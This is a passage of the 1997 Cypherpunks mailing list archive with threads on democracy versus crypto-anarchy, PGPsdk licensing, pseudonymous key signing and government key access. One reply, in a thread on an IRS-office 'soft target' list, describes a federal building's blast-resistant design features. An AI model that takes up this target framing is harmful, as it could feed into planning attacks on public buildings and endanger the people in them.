but what the last crypto bill 
runaround showed rather shockingly was that it is 
horrifyingly easy for bad bills to make it far into 
the legislative process, and a kind of frankensteinan
process can occur in which a bill ends up being manipulated
far beyond or to the direct opposite of 
its original intentions. moreover, virtually no congressmen
any more care about whether a law is constitutional--
it's a concept that is trampled underfoot in all the lobbying and
powermongering.

hence, I think we need to rely more on the courtroom-- it's
the only "language" that bureacrats understand. extremely 
expensive, but more effective. it forces us to put our money
where our mouths are. "the price of liberty is eternal vigilance"
and a lot of cash as well. the PRZ case proves the public
can support such a campaign. also tactics
as used by Softwar such as the FOIA attack approach. 

I predict that there are going to be major lawsuits of interest
to the cypherpunks in the near future. the telecom industry
is dragging its feet over implementing the orwellian FBI
digital wiretap law, last I heard. this is a big story that
Wired et. al. have not noticed imho. the telecom industry
from what I can tell considers it a bureacratic nightmare and
stalling as much as possible. just wait until it gets to the
point they feel like turning loose their armies of pit-bull
lawyers. these are companies that consider litigation virtually
part of their job description.

so the major GAK lawsuit might go like this. joe sixpack
uses a GAK system but "superencrypts" on top of it. fbi
gets a warrant but cannot read his mail, tries to prosecute
him on "obstruction of justice" or whatever, unrelated to
any actual crime. joe sixpack sues the FBI for violation
of the first amendment rights. it would be a great spectacle.

increasingly I think we should not be so alarmed when
orwellian laws pass. we need to fight them tooth and nail
in the beginning, but in many ways a court victory such as
with the CDA can be far more compelling to the government
bureacrats than lobbying.

and of course there is the "guerilla tactics" that everyone
here is so fond of advocating, which I think have some
appropriateness in some forms. even Gandhi advocated
"widespread civil disobedience"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 2 Nov 1997 04:43:48 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <199711012037.OAA01218@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 1 Nov 1997 20:06:10 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>
> Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)
> 
> Jim Choate <ravage@ssz.com> writes:
> > 
> > Exactly what kind of democracy are you speaking of? Sounds like you are
> > lumping them all into one big bucket, 
> 
> I figure it's a reasonable summary of a lot of democracies right now.

What is a reasonable summary? Reasonable to who? What 'lot' of democracies?

> > If so, please be so kind as to demonstrate how a representative,
> > constitutional, and majority democracy are the same? And for the
> > record, we have a constitutional representative democracy.
> 
> Didn't say they were "the same".

No, but you certainly imply it with your broad brush.

> But they do share a characteristic:
> distortions of free market in the form of voting for theft and
> redistribution of other peoples money leading to annoying government
> micro-management, and general do-gooder busy-body-ness, and the many
> laws on thought crimes.

Again, demostrate your assertion(s).

Who? What? When? Where? Why? How?

> > Personaly, I figure you must be one of those folks with a cognitive
> > disfunction. What part of "Congress shall make no law..." do you not 
> > understand?
> 
> I understand it, but US politicians either don't, or don't care and
> largely ignore the constitution.  What does it matter whether I
> understand it or not?

If you don't understand it you can't use it, effectively or otherwise.

>  Your constitution says you can own and carry
> guns; your politicians and law enforcement increasingly say that you
> can not.  Your response to my saying that is that _I_ don't understand
> the constitution?

No, my responce is prove your assertions. Explain to me why you believe
these are valid views and why they provide a more usable environment for
understanding what is going on then others.

> > > The wild west was better than this state of affairs -- people didn't
> > > have the energy or inclination to waste their own resources being nosy
> > > parkers, and those that did were apt to wind up full of lead.
> > 
> > Boy, you history is simply fucked. If you seriosly think the west was like
> > television you should spend more time reading books and period newspapers
> > and less time looking at the boob-tube. 
> 
> I don't own a TV, and so don't watch much (by choice -- it's mostly
> garbage); printed mass media is a bit better, but not that much.

Nice side step.

> > At the height of the range wars there were only 9 murders associated
> > with the conflict, not hundreds as the popular entertainment media
> > and spin-doctor culture would have you believe. Get your fucking
> > facts straight.
> 
> I know, that was my point; recall that I said the murder rate was low.

No, you said *nothing* about murder rate. What you did say was that back in
the old days people ran around killing those who bothered them. Which isn't
true either.

> The point was there were way less laws, and few were telling their
> neighbours what they could think.

Really? What was the law count say in 1865 versus 1965? 1897 v 1997?
Demonstrate your point.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Mon, 3 Nov 1997 06:53:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: democracy?! (fwd)
Message-ID: <199711022247.QAA24111@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

[Long discussion about crypto-anarchy vs. democracy removed]

I suggest reframing the argument.  Right now, the discussion seems to
be: "If we were Gods, how would we institute a just political system
on these people."  Unfortunately, only a few Gods are reading the
cypherpunks list and they refuse to do our bidding.

The real question is: what should we do?

Our (oversimplified) choices:

1. Democracy: Participate in the political process by joining various
   organizations, lobbying, begging for money, voting, etc. etc.

2. Crypto-Anarchy: Write code, buy guns, make money, make more money,
   etc. etc.

The second choice is clearly better in terms of protecting your own
hide.

What if we want to protect the hides of other people?  I believe
choice 2 is still the better one.  In any event, this is the more
interesting discussion.

The problem with choice 1 is that even if you can convince yourself
that a group of people and an institution are sound and reliable
today, you do not know what it will be doing later on.  Choice 2, on
the other hand, is a low risk investment and brings you into contact
with a better group of people.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
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Ht4C9XzyzKB2CRGiLD5hlbGRzBYACUWU2sm5xNIxYJ44AuwyhHgpVp8vhQts7XRM
xQzLtF4fDD+8Hc5AKq4vE4lTpJzwHUO7T2yANZlFMpx0clJDj7/pr+gSUTaWQcK4
pok4wAj+Hd9wrTtOLG40SqEQmmISi8owutvGStQgb3PSjDFsmpAQimxr4agMcylZ
7qxkNRc/sUzfdN5uc89n1cQ+E2fenocs5W6GJ7N8GRnfYP6127uveQ==
=OuX5
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matthew Nuckolls <mnuck@umr.edu>
Date: Sun, 2 Nov 1997 05:06:39 +0800
To: cypherpunks@Algebra.COM
Subject: cute.
In-Reply-To: <v03102809b0810793884b@[207.167.93.63]>
Message-ID: <19971101145349.14850@ultra7.umr.edu>
MIME-Version: 1.0
Content-Type: text/plain



Warning: The following message is apolitical.

> -----BEGIN PGP SIGNED MESSAGE-----

[snip]

> I wonder.  There might be an argument for just laying low until
> cryptoanarchy starves the bloated cancerous growth.
> 
> Amad3us
> 
> -----BEGIN PGP SIGNATURE-----
> iQCVAwUBNFt6ffKMuKFNFivhAQHagwP8DiNphzTEBFIxjMfuk0GMoTaSwY4Etjyb
> Q234GnFkf5iqWgRsDnNJWeiQzfli9EV+/5xA/eY80N+AQxbln6eFwkG8U9btMoqS
> Y7NCNwU6tDSckAOSSPOtdikZBxrNclW7ZK0ueuuHvFZGx5ciWCUBbx6bcxzphmhl
> bWPRWC/asbc=
> =I0Qy
> -----END PGP SIGNATURE-----
> -----BEGIN PGP PUBLIC KEY BLOCK-----
> mQCNAzRbd7MAAAEEAONwsEpUgiezyfP6lxBzM5SfHJS6MK12JyR09KBZp2rrW680
> 4vbKAO/oteftRRM1jYYaQM6pUd2Tbb9z+cSuQGr2GH9kQ0Y7bllh89E1PItj7frG
> ARSCbt1gbbXDXEICY8Ne1zZB7FfMt2qGVBdrKG/i2vfdZa5+n/KMuKFNFivhAAUR
> tCNBbWFkM3VzIDxjeXBoZXJwdW5rc0BjeWJlcnBhc3MubmV0Pg==
> =6dKS
> -----END PGP PUBLIC KEY BLOCK-----

What's the point in distribuing your public key through the same
channels as a signature? Kinda defeats the purpose. Esp since I can't
verify that the given public key is indeed yours, since you're anonymous.

--
Matthew Nuckolls
mnuck@umr.edu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 2 Nov 1997 08:04:43 +0800
To: "Robert A. Costner" <mnuck@umr.edu>
Subject: Re: cute.
In-Reply-To: <19971101145349.14850@ultra7.umr.edu>
Message-ID: <v03102801b08164c3d437@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 2:59 PM -0700 11/1/97, Robert A. Costner wrote:
>At 02:53 PM 11/1/97 -0600, Matthew Nuckolls wrote:
>>What's the point in distribuing your public key through the same
>>channels as a signature? Kinda defeats the purpose. Esp since I can't
>>verify that the given public key is indeed yours, since you're anonymous.
>
>I don't think the message in question allows you to verify the state issued
>id of the key owner, but it does allow you to verify that Amad3us's
>message, and all similarly signed messages belong to the same person or
>group .
>
>I don't see any need for a key to be traceable to any specific person who
>is in fact some particular natural person.  It seems to me that the fact
>the message signature is good (I didn't check it) would be tend to prove he
>is the owner of the key, since he can write messages with it.  Who he is on
>his birth certificate and driver's license are beside the point.

I think Robert really "gets" it.

I have in the past been critical of some of his views, and suspected there
were things about crypto and rights he just didn't get.

But everything he says here is right on.

- --Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
- ---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."



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Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNFu0tFK3AvrfAt9qEQJ10wCgwOVLTnlHyzfyPDq/Fce6O+XLz/IAn1FG
lx+DYDA83N0vKdkCSvTpAD9g
=W7Tc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 2 Nov 1997 06:07:14 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: PGPsdk is out, but not for free (fwd)
Message-ID: <199711012202.QAA01722@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 1 Nov 1997 16:36:05 -0500
> From: Anonymous <anon@anon.efga.org>
> Subject: PGPsdk is out, but not for free

> >License Plan #1
> 
> >                            Authentication, Encryption/Decryption,
> >                            PGP/MIME, Key Management:  $25,000 advance on
> >royalties + 2% of product revenues (minimum $1 per client and $35 per
> >server)
> 
> >Add Certificate Server Integration:
> >                                          $5,000 advance on royalties
> 
> >Support/Upgrades
> >                            (includes email support by a trained
> >                            developer support technician)
> >                            $1,500 per year + 15% of royalty payments
> 

Hmmm, will have to rethink suggesting any PGP based products to my customers
now. I simply refuse to pay anybody any percentage of my product revenues
simply because I use their tool. I buy a SDK for a flat fee like I buy a
book, screwdriver, or a car. I can't imagine Black & Decker wanting a
percentage of the house sale simply because the carpenter used their hammers
and saws. Ford or Chevy wanting to see my income statement each year so they
can figure out how much I owe them because I drive their brand of vehicle to
my customers sites...yeah right.

$25k?...PGP Inc.....Get a clue. Hell, at those kinds of license fees I can
afford to develop my own libraries.

What I do with it and how much money I make with it is my income alone
(minus taxes) *unless* they want to cover some percentage of my business
costs (which I don't want).


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Sat, 1 Nov 1997 23:39:21 +0800
To: cypherpunks@toad.com
Subject: Re: FBI Provides Soft Target List! (WAS: Suitcase packed, and nowhere to go...)
In-Reply-To: <345A9417.13FA@dev.null>
Message-ID: <Pine.BSF.3.96.971101162045.22341A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 31 Oct 1997, TruthMonger wrote:

> 
> *      Following is the list of the 33 IRS District
> * Headquarters Offices:
> * 
> * FROM:  FBI NATIONAL SECURITY DIVISION
> * Pacific Northwest District--Seattle, WA
> * Northern California District--Oakland, CA.

The Oakland federal building is anything but a soft target. It is a
relatively new builing that was designed from the gound up with blast
control in mind. Tapered twin towers, glass roofs build to release
excess internal pressure, ample free space around the towers, five story
buffer buildings containg only non-essential human shield services
(public post office, childcare center) along the critical sides. Excellent
design.

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 2 Nov 1997 06:00:32 +0800
To: cypherpunks@cyberpass.net
Subject: PGPsdk is out, but not for free
Message-ID: <036a4cbae9aea71936796fe72e12643b@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



More proof that the PGP folks have some kind of alterior motive.

Translation: They created a software package which purposefully breaks the
previous free versions of that package. Then they release a development kit
for that package with outrageous licensing fees. 

Welcome to the new PGP Inc.

>First, PGPsdk has been released:

>        http://www.pgp.com/sdk/

>The bad news:  the licensing fees are so high that there will be no
>freeware or shareware applications using it.  Here's an example of the
>licensing:

>License Plan #1

>                            Authentication, Encryption/Decryption,
>                            PGP/MIME, Key Management:  $25,000 advance on
>royalties + 2% of product revenues (minimum $1 per client and $35 per
>server)

>Add Certificate Server Integration:
>                                          $5,000 advance on royalties

>Support/Upgrades
>                            (includes email support by a trained
>                            developer support technician)
>                            $1,500 per year + 15% of royalty payments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sun, 2 Nov 1997 09:10:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: cute.
Message-ID: <199711020051.QAA23884@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Amad3us wrote:
>Matthew Nuckolls says
>> What's the point in distribuing your public key through the same
>> channels as a signature? Kinda defeats the purpose. 
>
>The purpose is to create a persistent nym.  The signature, and public
>key ensures that you know that this message is from the same person
>as you were attempting to nit pick :-]

It has been my experience that it is more fun to operate a persistent
identity than to post unsigned and unverifiable messages.

Providing the key is at least a convenience for people who don't have
it already - it saved me a trip to the key server.

>> I can't verify that the given public key is indeed yours, since
>> you're anonymous.
>
>True.  So it's only as good as the keys you might fetch from a
>keyserver that you have no connection to in the web of trust.
>
>You aren't supposed to link it to my True Name.
>
>All that can be done is to get a signature from a timestamp server,
>and a signature from Bill Stewart's nym key signing service.

What would be really nice is if the mailing list machines time stamped
messages.

There was a discussion a little while ago suggesting that toad.com had
been compromised by people who were sowing dissension by partially
distributing certain messages.  Had toad signed all of its messages,
it would be possible to obtain evidence supporting this hypothesis
without relying entirely on the word of people we may not know.

Had somebody compromised toad, they would still have to correctly sign
messages.  Later it would have been possible to prove this had
occurred by comparing messages and signatures.

This would also prevent an attack where somebody forges mail from a
cypherpunks list machine to flush out identities.  If the attacker
sends a unique message to every person, he or she will be able to
break an identity if the message is replied to on the list.

>This is important because it prevents someone else from generating more
>keys with the same userID, such as happened with Tim May's blacknet key.
>The only protection I have against that is the public record of my key
>being posted to cypherpunks.  The http://infinity.nus.sg/cypherpunks/
>archive helps as a public record of first publishing of a key with this
>userID.

I'm not sure a timestamp matters that much for "authenticating" your
key.  After all, you don't own "Amad3us", you own key 0x4D162BBE1.

If another "Amad3us" shows up, what matters if their string of posts
are worth reading, not whether they borrowed your handle.

It would cause confusion, but since the cypherpunks are so good at
slinging bits, we should be able to handle this.  It might even have
an advantage: reporters and secret police types will have a harder
time dealing with the cypherpunks without adopting some of our
technology and ideas and sharing them with others.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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XfFNOusz9Dkrhz0gearv/fbRb93GxXRejTK/Jo9sMJta8pWAm4d1Yg==
=5Loi
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 2 Nov 1997 06:14:20 +0800
To: Matthew Nuckolls <mnuck@umr.edu>
Subject: Re: cute.
In-Reply-To: <199711011925.UAA05261@basement.replay.com>
Message-ID: <3.0.3.32.19971101165942.0365b498@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 02:53 PM 11/1/97 -0600, Matthew Nuckolls wrote:
>What's the point in distribuing your public key through the same
>channels as a signature? Kinda defeats the purpose. Esp since I can't
>verify that the given public key is indeed yours, since you're anonymous.

I don't think the message in question allows you to verify the state issued
id of the key owner, but it does allow you to verify that Amad3us's
message, and all similarly signed messages belong to the same person or
group .

I don't see any need for a key to be traceable to any specific person who
is in fact some particular natural person.  It seems to me that the fact
the message signature is good (I didn't check it) would be tend to prove he
is the owner of the key, since he can write messages with it.  Who he is on
his birth certificate and driver's license are beside the point.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 2 Nov 1997 07:35:13 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: democracy?! (fwd)
Message-ID: <199711012333.RAA01954@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 1 Nov 1997 22:06:03 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>
> Subject: Re: democracy?!
> 
> Jim Choate <ravage@ssz.com> writes:
> > What is a reasonable summary? Reasonable to who? What 'lot' of
> > democracies?
> 
> This is getting kind of repetitive. 

I agree, I keep asking for your examples and proof and you keep avoiding
providing them. You should consider being a politician or a lawyer. It's a
real pity you can't seem to approach this discussion in good faith and with
a sense of open analysis.

> Perhaps you could provide a
> counter example to disprove my claim that democracies result in more
> petty privacy and freedom invasive laws than would be the case with a
> pure market anarchy

Pure market anarchy? What the hell is a pure market? I know what a free
market is. Define it first. Explain how it, without an explicit
bill of rights, will protect my rights? Explain how we don't end up with a
Microsoft that owns everything which effectively reduces to a commercial
communism? Where are my 'exit' choices then? What in the world would
motivate such an entity to provide me with the resources to be a direct
competitor, something clearly not in its best interest for long-term
survival? How will others learn the technology and its applications outside
the purvue of these economic regulatory entities. The unlimited expansion of
the rail-roads in the 1800's is a excellent simili for comparison for both
what such a system would be like as well as the major problems it *doesn't*
address. Taminy Hall ring any bells? There was a free market political
system if there ever was one; pay me and I'll do it for you, don't and you 
can freeze in hell. A more modern example is the history of the
telecommunications companies which even after being broken up have now
re-combined so that we in effect only have 3 domestic tel-comm providers, and
they are discussing how to combine their resources. Further explain why such
a system will guarantee that my views will at least be addressed at some
level and not relegated a priori to a trash-heap because it goes against the
market analysis of some bunch of bean-counters? Who do I go to for
resolution of claims against these entities, the self-same entities? You
call that justice, equality, or even representation? Explain why and how such
a economic based system will guarantee my right to free speech or even to run
a small business which I currently do when it is clear that I am in open
competition with the very entities which provide me the resources to make the
money? What is the economic motivation for the resource controlling entities
to support my freedoms when it reduces their income? Explain how your system
prevents economic black-balling? Another implication is that we will see more
of the sort of business stategies implimented by PGP Inc. (for example) where
they want a percentage of your income *without* accepting a percentage of the
risk, economic tyrany is tyrany just the same. What recourse do I have if the
monopolies which arise in such a system decide that the services or resources
I need won't be provided? Am I then supposed to just calmly accept becoming
some prole for some zaibatsu? What happens when those monopolies decide that
if they work together they can further streamline the market, and my going to 
church or taking a vacation goes against those business requirements?

It sounds like you are supporting Hirshleifer who says:

"The mere fact of low income under anarchy... of itself provides no clear
indication as to what is likely to happen next."

[Personly, Hirshleifer is an idiot who apparently doesn't hang out on the
wrong side of the tracks and therefore has no clue as to what motivates
the poor or stupid.]

Which in effect breaks down into one of two results for individuals (which
all free market anarchists admit openly) who don't have sufficient income
to buy their indipendance and their say:

1.  they devote a great deal of effort to fighting to gain control over
    resources.

or 

2.  they capitulate to some other party and turn over their resources
    for food and shelter.

History would argue that people will accept neither of these as a solution
to day-to-day living. Economists should stay out of politics. It's one of
the reasons that at no point in either the Declaration of Indipendance or
the Constitution that businesses are given rights are even given
consideration except in regards of taxation of inter-state commerce. People
should have seperation of government and religion and that includes the
worship of wealth.

> (perhaps old Iceland would be a suitable anarchy
> to consider as a comparison).

If it's so damn good how come it doesn't exist anymore? If it provided such
a superior governmental system providing the maximum return on investment
why did it go away? Why did they instead elect to go with a king? Futher,
explain how such an anarchic system can be expanded without demonstrating
the exact same sorts of scaling problems consensual democracies such as
ancient Greek ran into? It's one thing to rule a few 10's of thousands of
people who are related, share world-models and have limited resources and
quite another to rule 4+ Billion people who speak hundreds if not thousands 
of languages and concommittent cultural beliefs?

>  Do you have a democracy in mind which
> doesn't result in lots thought crimes and other "crimes" which are so
> far removed from normal free market schelling points.  It's just a
> natural tendency of a democracy.

Thought crimes and such are not a result of any political system but a
result of the psychology of people. Please be so kind as to demonstrate
(along with my previous questions I am still waiting on) how a political
system effects the basic psychological development of the participants.
Further, explain how the belief in the resolving power of money is any
different than the resolving power of Buddha? You seem to be claiming that
if we pray to the all mighty dollar all will be right with the world.

> > > But they do share a characteristic:
> > > distortions of free market in the form of voting for theft and
> > > redistribution of other peoples money leading to annoying government
> > > micro-management, and general do-gooder busy-body-ness, and the many
> > > laws on thought crimes.
> > 
> > Again, demostrate your assertion(s).
> > 
> > Who? What? When? Where? Why? How?
> 
> Who?  What?  Current democracices.  When?  Now.  Why?  Market
> distortion.  How?  Politicians brokering legalised mass theft and
> market distortion for game theoretic reasons.

You seriously expect any reasonable person to be satisfied with such a
side-step?

And in case you hadn't realized it, the entire concept of free-market is a
result of those same game theories. Are you claiming that such free market
based systems will abandon game theory when it clearly provides insight into
how those free markets operate?

> > >  Your constitution says you can own and carry
> > > guns; your politicians and law enforcement increasingly say that you
> > > can not.  Your response to my saying that is that _I_ don't understand
> > > the constitution?
> > 
> > No, my responce is prove your assertions. 
> 
> You prove your assertion: are you saying there are no gun controls in

The simply fact that one has a constitution that guarantees certain rights is
*not* a guarantee that others won't find those rights threatening and want to
take them away (see Hirshleifer's two alternatives above). And your assertion
is that if we go to a free market anarchy then we no longer have to worry
about anyone telling us what we can and can't do? Please be so kind as to
demonstrate why a free market anarchy will prohibit monopolistic
organizations who would be just as threatened by armed individuals as any
other centralized organization?

> > Explain to me why you believe these are valid views 
> 
> because they are a statement of readily observable reality?

Where do I observe them? Give examples. Whose reality? Are you seriously
claiming that there is one absolute reality?

> > What you did say was that back in the old days people ran around
> > killing those who bothered them. Which isn't true either.
> 
> That bit was a statement of a belief that few people would be inclined
> to invade someones privacy and attempt to impose sanctions for what
> they viewed as thought crimes.  It takes governments or religions to
> do this kind of thing, individuals aren't likely to

Governments and religions *ARE* people. There are times where I think you
have said the stupidist thing possible and then you keep typing. Individuals
are the ones who killed the Jews, put pepper spray in the eyes of
demonstrators, and just about everything else that gets done.

> > > The point was there were way less laws, and few were telling their
> > > neighbours what they could think.
> > 
> > Really? What was the law count say in 1865 versus 1965? 1897 v 1997?
> > Demonstrate your point.
> 
> I say: there were less laws in 1897 US than 1997 US.
> 
> Tell me: do you refute that claim?

I don't know, never looked at the numbers *AND* it isn't my job to refute
it. *IT IS* your job to prove it since it is *YOUR* claim and apparently has
some relevance to your thesis' validity. The number of laws at any given time
is irrelevant and immaterial to my position (nice attempt at a straw man).
It is plain stupidity to make claims and not have a clue as to the reality.
I shure as hell won't be asking people to put their lives in my hands unless
I could address such issues in a manner that they would feel comfortable with.
Gut feelings are almost always wrong. The mere fact that you feel that we
should take such claims at face value is a clear indication of what kind of
worth you place in others. You believe yourself to be an angel apparently.

Oh, and for the record. Studies of deaths during the 1800's indicate that
the vast majority were accidental self-inflicted gunshot wounds, far more
than the Indians or other 3rd parties inflicted combined.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Sun, 2 Nov 1997 02:33:29 +0800
To: cypherpunks@Algebra.COM
Subject: PGPsdk is out, but not for free
Message-ID: <345e6cee.15028468@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



First, PGPsdk has been released:

	http://www.pgp.com/sdk/

The bad news:  the licensing fees are so high that there will be no
freeware or shareware applications using it.  Here's an example of the
licensing:

License Plan #1

                            Authentication, Encryption/Decryption,
                            PGP/MIME, Key Management:  $25,000 advance on
royalties + 2% of product revenues (minimum $1 per client and $35 per
server) 

Add Certificate Server Integration: 
                                          $5,000 advance on royalties 

Support/Upgrades 
                            (includes email support by a trained
                            developer support technician) 
                            $1,500 per year + 15% of royalty payments 


Oh well, back to hacking an interface to PGPtray.

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Sun, 2 Nov 1997 10:28:04 +0800
To: Bill Stewart <cypherpunks@toad.com>
Subject: Re: FCPUNX:DEA trying to subpoena book dealers
Message-ID: <199711020216.SAA06135@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:20 AM 10/30/97 -0800, Bill Stewart wrote:
> Makes it easier for cops to see that you're not a threat,
> or that you are a threat.  If your underwear's not Kevlar,
> it's not contributing much to the process, and cops are
> probably more embarassed about beating up naked people.

Watch out for toilet plungers.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Sun, 2 Nov 1997 10:26:50 +0800
To: Adam Back <cypherpunks@toad.com>
Subject: Re: FCPUNX:PGP Employee on MKR
Message-ID: <199711020216.SAA06401@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:02 PM 10/30/97 GMT, Adam Back wrote:
> Even if you were to use CMR, it is dumb, dumb, dumb, to allow the
> snoop key to remain after the message has passed the enforcer -- it
> should strip it off on the way out.

Unless, of course, the real intention of CMR is GMR.

 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jean-Francois Avon" <jf_avon@citenet.net>
Date: Sun, 2 Nov 1997 08:42:28 +0800
To: "e$@thumper.vmeng.com" <e$@thumper.vmeng.com>
Subject: Re: Unlocking crypto-secrets Wired article
Message-ID: <199711020042.TAA27772@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



>From: Dwight Arthur <dwightarthur@mindspring.com>
>To: "Dale R. Worley" <worley@ariadne.com>
>CC: dcsb@ai.mit.edu
>Subject: Re: Unlocking crypto-secrets Wired article

> I have no inside knowledge but picture yourself
> as a senator, really concerned about getting re-elected. Picture
> yourself looking at video of the victims of some terrorist act somewhere
> in the world, staggering out of some ruined building and expiring on
> camera. Then picture yourself hearing that if you vote the wrong way and
> this happens in the U.S. (or to U.S. citizens anywhere) your name will
> be in the papers as the reason that law enforcement was unable to
> prevent this. It's hard to argue.

And alsom maybe Jim Bell's stuff...  Does anybody have any knowledge or heard any 
rumors of Bell's essay circulating among political circles?

Ciao

jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 3 Nov 1997 04:45:41 +0800
To: Jonathan Wienke <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Technology 'secures' gunfire [CNN]
In-Reply-To: <199711010306.VAA27799@einstein.ssz.com>
Message-ID: <v03102802b08196303f9c@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>>>      Now police have an electronic witness that can provide similar
>>>      assistance: a device called SECURES that pinpoints the time and
>>>      location of gunshots.
>
>This would be a network of microphones and processing stations which could
>perform a reverse-GPS location analysis of sounds picked up by 3 or more
>microphones.  (Sounds common to 2 microphones could be localized with a
>lower degree of accuracy if directional microphone arrays are used.)  Yet
>another instance of Big Brother technology that is of limited value to the
>police.  Of course, this means that you will have the police responding to
